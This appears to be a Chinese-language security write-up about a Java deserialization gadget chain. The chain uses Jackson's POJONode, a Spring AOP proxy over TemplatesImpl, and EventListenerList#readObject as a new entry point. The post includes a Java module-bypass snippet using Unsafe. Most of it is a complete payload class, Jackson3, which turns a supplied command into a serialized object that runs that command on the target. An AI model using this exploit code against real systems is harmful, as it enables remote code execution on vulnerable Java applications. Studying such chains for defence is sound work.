换新入口
jackson2链中的入口,在JDK17里 BadAttributeValueExpException 利用不了了,没有触发 toString 的点了

- 所以通过入口
EventListenerList#readObject , 来利用字符串与对象的拼接触发 toString
绕过模块化
java1 2 3 4 5 6 7 8 9 10 11 12 13
| public static void patchModule(Class clazz, Class goalclass) { try { Class UnsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null); Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); Class currentClass = clazz; long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass, addr, ObjectModule); } catch (Exception e) { } }
|
具体是这段,也就是通过 unsafe.getAndSetObject 修改模块对象一致
但是实际发现在 JDK8 时不需要这段也可以利用成功。
跟下来发现这段,意思是被调用类没有模块名字的话就直接返回 true,那 JDK8 中并没有引入JPMS所以模块为空。

AOP代理
加了aop,类代理后是 javax.xml.transform.Templates ,在 java.xml 包名下,因此绕过了包管理机制
EXP
所以在JDK8下最终的gadget为
java1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassClassPath;
import org.springframework.aop.framework.AdvisedSupport;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisorChainFactory;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.lang.reflect.*;
import java.util.Vector;
import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"spring-apo:6.2.10"}) public class Jackson3 implements ObjectPayload<Object> { public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory"))); final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory"); insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;"); Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance(); advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy; }
public static Object getEventListenerList(Object obj) throws Exception { POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.event.EventListenerList"))); final CtClass ctEventListenerList = POOL.get("javax.swing.event.EventListenerList"); insertField(ctEventListenerList, "serialVersionUID", "private static final long serialVersionUID = -7977902244297240866L;"); Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.undo.UndoManager"))); final CtClass ctUndoManager = POOL.get("javax.swing.undo.UndoManager"); insertField(ctUndoManager, "serialVersionUID", "private static final long serialVersionUID = -1045223116463488483L;"); Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
Vector vector = (Vector) getFieldValue(undomanager, "edits"); vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager}); return list; }
public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = null; Class c = obj.getClass(); for (int i = 0; i < 5; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } field.setAccessible(true); return field.get(obj); }
public static void setFieldValue(Object obj, String field, Object val) throws Exception { Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); }
@Override public Object getObject(final String command) throws Exception { try { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } catch (Exception EE) {
} POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
Object eventListenerList = getEventListenerList(node);
return eventListenerList; }
}
|